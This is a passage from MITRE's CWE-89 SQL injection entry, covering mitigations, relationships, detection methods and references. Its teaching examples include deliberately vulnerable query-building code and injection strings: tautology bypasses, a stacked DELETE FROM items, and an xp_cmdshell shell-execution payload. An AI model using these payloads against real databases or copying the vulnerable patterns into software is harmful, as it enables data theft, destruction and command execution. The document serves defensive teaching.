If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
ImplementationThis weakness typically appears in data-rich applications that save user inputs in a database.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.


Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(bad code)
Example Language: C# 
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

(informative)
 
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(attack code)
 
name' OR 'a'='a

for itemName, then the query becomes the following:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(attack code)
 
OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(attack code)
 
SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.


Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(attack code)
 
name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(attack code)
Example Language: SQL 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(attack code)
 
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted
  • Find ways to bypass the need for certain escaped meta-characters
  • Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(bad code)
 
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.


Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(bad code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(attack code)
 
'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(attack code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

  1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
  2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
  3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.


Example 5

This code intends to print a message summary given the message ID.

(bad code)
Example Language: PHP 
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(attack code)
 
1432' or '1' = '1

This would produce the resulting query:

(result)
 
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(good code)
Example Language: PHP 
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.


Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(bad code)
Example Language: Perl 
$userKey = getUserID();
$name = getUserInput();

# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.


+ Observed Examples
ReferenceDescription
SQL injection in security product dashboard using crafted certificate fields
SQL injection in time and billing software, as exploited in the wild per CISA KEV.
SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV.
SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV.
An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data.
chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
SQL injection through an ID that was supposed to be numeric.
SQL injection through an ID that was supposed to be numeric.
SQL injection via user name.
SQL injection via user name or password fields.
SQL injection in security product, using a crafted group name.
SQL injection in authentication library.
SQL injection in vulnerability management and reporting tool, using a crafted password.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Database Scanners
Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSQL injection
7 Pernicious KingdomsSQL Injection
CLASPSQL injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
WASC19SQL Injection
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-89
SEI CERT Oracle Coding Standard for JavaIDS00-JExactPrevent SQL injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-867] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.
[REF-868] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.
[REF-869] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>. URL validated: 2023-04-07.
[REF-870] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
[REF-871] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
[REF-872] Microsoft. "SQL Injection". 2008-12. <https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-873] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/>. URL validated: 2023-04-07.
[REF-874] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves>. URL validated: 2023-04-07.
[REF-875] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <https://www.sans.org/blog/top-25-series-rank-2-sql-injection/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-89. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1447] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating SQL Injection Vulnerabilities in Software". 2024-03-25. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-sql-injection-vulnerabilities-software>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric DalciCigital
updated Time_of_Introduction
2008-08-01
(CWE 1.0, 2008-09-09)
KDM Analytics
added/updated white box definitions
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Time_of_Introduction
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11SQL Injection
2008-09-09Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')
2009-01-12Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')
2009-05-27Failure to Preserve SQL Query Structure (aka 'SQL Injection')
2009-07-27Failure to Preserve SQL Query Structure ('SQL Injection')
2010-06-21Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
